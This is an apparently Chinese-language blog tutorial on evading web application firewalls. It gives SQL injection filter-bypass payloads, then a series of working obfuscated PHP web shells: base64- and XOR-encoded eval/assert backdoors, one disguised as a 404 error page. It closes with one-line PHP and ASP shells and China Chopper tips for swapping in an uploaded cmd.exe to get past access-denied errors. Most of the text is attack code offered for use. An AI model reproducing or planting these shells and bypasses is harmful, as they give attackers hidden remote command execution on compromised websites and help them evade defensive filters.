WAF绕过

概述

定义

WAF(Web Application Firewall)
Web应用防护系统(也称:网站应用级入侵防御系统或Web防火墙)。主要是对Web特有入侵方式的加强防护,如:DDOS、SQL注入、XML注入、XSS等防护
web应用防火墙,是一种防御规则的集合

分类

  • 代码WAF
  • 软件WAF
  • 硬件WAF
  • 云WAF(类似于DNS)

三个基本步骤

  • 身份认证
  • 数据包解析
  • 规则匹配

SQL注入绕过

规则绕过

常用方式

  1. 大小写混合
    uNIoN sELecT 1,2,3,4
  2. 替换关键字
    selselectect 1,2,3,4
  3. 使用编码
    %55nion %53elect 1,2,3,4
  4. 使用注释
    union/**/select 1,2,3,4
  5. 等价函数与命令
    @@datadir ==> datadir()
  6. 特殊符号
    select+id+from users;

文件上传绕过

PHP

执行命令

  1. 执行代码的方式执行命令
  2. 直接执行系统命令

常用函数

WAF会检测一些危险函数
eval()
assert()
passthru()
preg_replace(“1/e”,command,”test”);

system()
exec()
exec_shell()


一句话木马变形(小马)

加密类

1
2
3
4
5
<?php 
echo "404 Not Found!</br>"; error_reporting(0);
if(isset($_POST['com']) && md5($_POST['com']) == '791dc312b38016ef998c1c146104cd5a' && isset($_POST['content'])) $content = strtr($_POST['content'], '-_,', '+/=');eval(base64_decode($content));
echo "We're sorry but the page your are looking for is Not Found..."
?>

变量拼接类

1
2
3
<?php 
$sF="PCT4BA6ODSE_";$s21=strtolower($sF[4].$sF[5].$sF[9].$sF[10].$sF[6].$sF[3].$sF[11].$sF[8].$sF[10].$sF[1].$sF[7].$sF[8].$sF[10]);$s22=${strtoupper($sF[11].$sF[0].$sF[7].$sF[9].$sF[2])}['n985de9'];if(isset($s22)){eval($s21($s22));}
?>

加密拼接类

1
2
<?php $_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();
?>

其他变形

404伪装

1
2
3
4
5
6
7
8
9
10
11
12
<?php
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</ht>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

正则与或运算拼接:

1
2
3
4
5
6
7
8
9
10
<?php
@$_++; // not defined variable ++,the result is 1
$__=("#"^"|");
$__.=("."^"~");
$__.=("/"^"`");
$__.=("|"^"/");
$__.=("{"^"/");
${$__}[!$_](${$__}[$_]);
//$_POST[0]($_POST[1]);
?>

substr()base64_decode联用:

1
2
3
4
5
6
7
8
<?php
$O=substr("Ping-Pong",5,1);
$R=substr("MONSTER",3,1);
$you = '_'.$O.'O'.$R.'T';
$hack=base64_decode("YXNzZXJ0");
$hack(${$you}[1]);
//assert($_POST[1])
?>


##补充

一句话木马

常用:
PHP:

1
<?php eval($_POST[1]);?>

IIS中ASP:

1
<%eval request("x")%>

各种一句话木马大全


菜刀shell

常用命令:
查看已建立的连接
netstat -an | find “ESTABLISHED”

某些时候c:\windows\system32\cmd.exe拒绝访问,需要更换cmd路径来突破

我们先上传一个自己的cmd.exe (cmd.exe(本地路径C:WINDOWS\system32),最好与目标机系统位数匹配,我们上传在www目录,于是此时cmd的物理路径为c:\www\cmd.exe:

Alt text

终端执行以下命令切换脚本调用的cmd.exe路径到c:\www\cmd.exe:

setp:c:\www\cmd.exe

一般情况下,此方法避免了执行命令时出现的拒绝访问错误

您的支持是我前进的动力!